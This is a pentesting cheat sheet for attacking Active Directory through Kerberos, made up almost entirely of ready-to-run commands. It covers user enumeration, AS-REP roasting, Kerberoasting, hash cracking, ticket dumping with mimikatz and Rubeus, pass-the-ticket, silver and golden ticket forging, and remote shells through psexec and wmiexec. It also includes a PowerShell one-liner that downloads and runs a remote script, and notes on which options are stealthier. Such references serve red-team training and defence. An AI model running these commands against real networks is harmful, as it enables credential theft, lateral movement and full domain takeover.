All credits to https://gist.github.com/TarlogicSecurity
We can fetch some usernames through Windows SID bruteforcing. To do this we can use impacket's lookupsid as guest. The same command can also be run as anonymous
impacket-lookupsid guest@ < I P > -no-pass -domain-sids | grep -i SidTypeUser
If we get a userlist from a domain we can validate users with kerbrute. Also if you don't have a list we can use a wordlist, the wordlist that give me the best results or that are most complete are the ones from Seclists.
https://github.com/danielmiessler/Seclists
We can use "xato-net-10-million-usernames.txt"
/usr/share/wordlists/seclists/Usernames/xato-net-10-million-usernames.txt
./kerbrute_linux_amd64 userenum --dc < I P > -d < domai n > < userlist.tx t >
AS-REP Roasting is a technique that allows retrieving password hashes for users that have "Do not require Kerberos preauthentication" property selected.
With impacket-GetNPUsers we can get $krb5asrep$ hashes from users.
impacket-GetNPUsers < domai n > / -usersfile < validusernames.tx t > -no-pass -request -dc-ip < I P > -format john
Then if we get hashes we can attempt to crack it with John.
john --wordlist=/usr/share/wordlists/rockyou.txt < krb5asrep-hashes.tx t >
With Rubeus version with brute module:
# with a list of users
. \ Rubeus.exe brute /users: < users_fil e > /passwords: < passwords_fil e > /domain: < domain_nam e > /outfile: < output_fil e >
# check passwords for all users in current domain
. \ Rubeus.exe brute /passwords: < passwords_fil e > /outfile: < output_fil e >
With Impacket example GetNPUsers.py:
# check ASREPRoast for all domain users (credentials required)
python GetNPUsers.py < domain_nam e > / < domain_use r > : < domain_user_passwor d > -request -format < AS_REP_responses_format [hashcat | john] > -outputfile < output_AS_REP_responses_fil e >
# check ASREPRoast for a list of users (no credentials required)
python GetNPUsers.py < domain_nam e > / -usersfile < users_fil e > -format < AS_REP_responses_format [hashcat | john] > -outputfile < output_AS_REP_responses_fil e >
With Rubeus :
# check ASREPRoast for all users in current domain
. \ Rubeus.exe asreproast /format: < AS_REP_responses_format [hashcat | john] > /outfile: < output_hashes_fil e >
Cracking with dictionary of passwords:
hashcat -m 18200 -a 0 < AS_REP_responses_fil e > < passwords_fil e >
john --wordlist= < passwords_file > < AS_REP_responses_fil e >
With Impacket example GetUserSPNs.py:
python GetUserSPNs.py < domain_nam e > / < domain_use r > : < domain_user_passwor d > -outputfile < output_TGSs_fil e >
With Rubeus :
. \ Rubeus.exe kerberoast /outfile: < output_TGSs_fil e >
With Powershell :
iex (new-object Net.WebClient).DownloadString("https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Kerberoast.ps1")
Invoke-Kerberoast -OutputFormat <TGSs_format [hashcat | john]> | % { $_.Hash } | Out-File -Encoding ASCII <output_TGSs_file>
Cracking with dictionary of passwords:
hashcat -m 13100 --force < TGSs_fil e > < passwords_fil e >
john --format=krb5tgs --wordlist= < passwords_file > < AS_REP_responses_fil e >
By using Impacket examples:
# Request the TGT with hash
python getTGT.py < domain_nam e > / < user_nam e > -hashes [lm_hash]: < ntlm_hash >
# Request the TGT with aesKey (more secure encryption, probably more stealth due is the used by default by Microsoft)
python getTGT.py < domain_nam e > / < user_nam e > -aesKey < aes_ke y >
# Request the TGT with password
python getTGT.py < domain_nam e > / < user_nam e > :[password]
# If not provided, password is asked
# Set the TGT for impacket use
export KRB5CCNAME =< TGT_ccache_file >
# Execute remote commands with any of the following by using the TGT
python psexec.py < domain_nam e > / < user_nam e > @ < remote_hostnam e > -k -no-pass
python smbexec.py < domain_nam e > / < user_nam e > @ < remote_hostnam e > -k -no-pass
python wmiexec.py < domain_nam e > / < user_nam e > @ < remote_hostnam e > -k -no-pass
With Rubeus and PsExec :
# Ask and inject the ticket
. \ Rubeus.exe asktgt /domain: < domain_nam e > /user: < user_nam e > /rc4: < ntlm_has h > /ptt
# Execute a cmd in the remote machine
. \ PsExec.exe -accepteula \\ < remote_hostnam e > cmd
Check type and location of tickets:
grep default_ccache_name /etc/krb5.conf
In case of file tickets, you can copy-paste (if you have permissions) for use them.
In case of being KEYRING tickets, you can use tickey to get them:
# To dump current user tickets, if root, try to dump them all by injecting in other user processes
# to inject, copy tickey in a reachable folder by all users
cp tickey /tmp/tickey
/tmp/tickey -i
With Mimikatz :
mimikatz # sekurlsa::tickets /export
With Rubeus in Powershell:
. \ Rubeus dump
# After dump with Rubeus tickets in base64, to write the in a file
[IO.File]::WriteAllBytes( "ticket.kirbi" , [Convert]::FromBase64String( "<bas64_ticket>" ))
To convert tickets between Linux/Windows format with ticket_converter.py :
python ticket_converter.py ticket.kirbi ticket.ccache
python ticket_converter.py ticket.ccache ticket.kirbi
With Impacket examples:
# Set the ticket for impacket use
export KRB5CCNAME =< TGT_ccache_file_path >
# Execute remote commands with any of the following by using the TGT
python psexec.py < domain_nam e > / < user_nam e > @ < remote_hostnam e > -k -no-pass
python smbexec.py < domain_nam e > / < user_nam e > @ < remote_hostnam e > -k -no-pass
python wmiexec.py < domain_nam e > / < user_nam e > @ < remote_hostnam e > -k -no-pass
Inject ticket with Mimikatz :
mimikatz # kerberos::ptt <ticket_kirbi_file>
Inject ticket with Rubeus :
. \ Rubeus.exe ptt /ticket: < ticket_kirbi_fil e >
Execute a cmd in the remote machine with PsExec :
. \ PsExec.exe -accepteula \\ < remote_hostnam e > cmd
With Impacket examples:
# To generate the TGS with NTLM
python ticketer.py -nthash < ntlm_has h > -domain-sid < domain_si d > -domain < domain_nam e > -spn < service_sp n > < user_nam e >
# To generate the TGS with AES key
python ticketer.py -aesKey < aes_ke y > -domain-sid < domain_si d > -domain < domain_nam e > -spn < service_sp n > < user_nam e >
# Set the ticket for impacket use
export KRB5CCNAME =< TGS_ccache_file >
# Execute remote commands with any of the following by using the TGT
python psexec.py < domain_nam e > / < user_nam e > @ < remote_hostnam e > -k -no-pass
python smbexec.py < domain_nam e > / < user_nam e > @ < remote_hostnam e > -k -no-pass
python wmiexec.py < domain_nam e > / < user_nam e > @ < remote_hostnam e > -k -no-pass
With Mimikatz :
# To generate the TGS with NTLM
mimikatz # kerberos::golden /domain:<domain_name>/sid:<domain_sid> /rc4:<ntlm_hash> /user:<user_name> /service:<service_name> /target:<service_machine_hostname>
# To generate the TGS with AES 128 key
mimikatz # kerberos::golden /domain:<domain_name>/sid:<domain_sid> /aes128:<krbtgt_aes128_key> /user:<user_name> /service:<service_name> /target:<service_machine_hostname>
# To generate the TGS with AES 256 key (more secure encryption, probably more stealth due is the used by default by Microsoft)
mimikatz # kerberos::golden /domain:<domain_name>/sid:<domain_sid> /aes256:<krbtgt_aes256_key> /user:<user_name> /service:<service_name> /target:<service_machine_hostname>
# Inject TGS with Mimikatz
mimikatz # kerberos::ptt <ticket_kirbi_file>
Inject ticket with Rubeus :
. \ Rubeus.exe ptt /ticket: < ticket_kirbi_fil e >
Execute a cmd in the remote machine with PsExec :
. \ PsExec.exe -accepteula \\ < remote_hostnam e > cmd
With Impacket examples:
# To generate the TGT with NTLM
python ticketer.py -nthash < krbtgt_ntlm_has h > -domain-sid < domain_si d > -domain < domain_nam e > < user_nam e >
# To generate the TGT with AES key
python ticketer.py -aesKey < aes_ke y > -domain-sid < domain_si d > -domain < domain_nam e > < user_nam e >
# Set the ticket for impacket use
export KRB5CCNAME =< TGS_ccache_file >
# Execute remote commands with any of the following by using the TGT
python psexec.py < domain_nam e > / < user_nam e > @ < remote_hostnam e > -k -no-pass
python smbexec.py < domain_nam e > / < user_nam e > @ < remote_hostnam e > -k -no-pass
python wmiexec.py < domain_nam e > / < user_nam e > @ < remote_hostnam e > -k -no-pass
With Mimikatz :
# To generate the TGT with NTLM
mimikatz # kerberos::golden /domain:<domain_name>/sid:<domain_sid> /rc4:<krbtgt_ntlm_hash> /user:<user_name>
# To generate the TGT with AES 128 key
mimikatz # kerberos::golden /domain:<domain_name>/sid:<domain_sid> /aes128:<krbtgt_aes128_key> /user:<user_name>
# To generate the TGT with AES 256 key (more secure encryption, probably more stealth due is the used by default by Microsoft)
mimikatz # kerberos::golden /domain:<domain_name>/sid:<domain_sid> /aes256:<krbtgt_aes256_key> /user:<user_name>
# Inject TGT with Mimikatz
mimikatz # kerberos::ptt <ticket_kirbi_file>
Inject ticket with Rubeus :
. \ Rubeus.exe ptt /ticket: < ticket_kirbi_fil e >
Execute a cmd in the remote machine with PsExec :
. \ PsExec.exe -accepteula \\ < remote_hostnam e > cmd
To get NTLM from password:
python - c 'import hashlib,binascii; print binascii.hexlify(hashlib.new("md4", "<password>".encode("utf-16le")).digest())'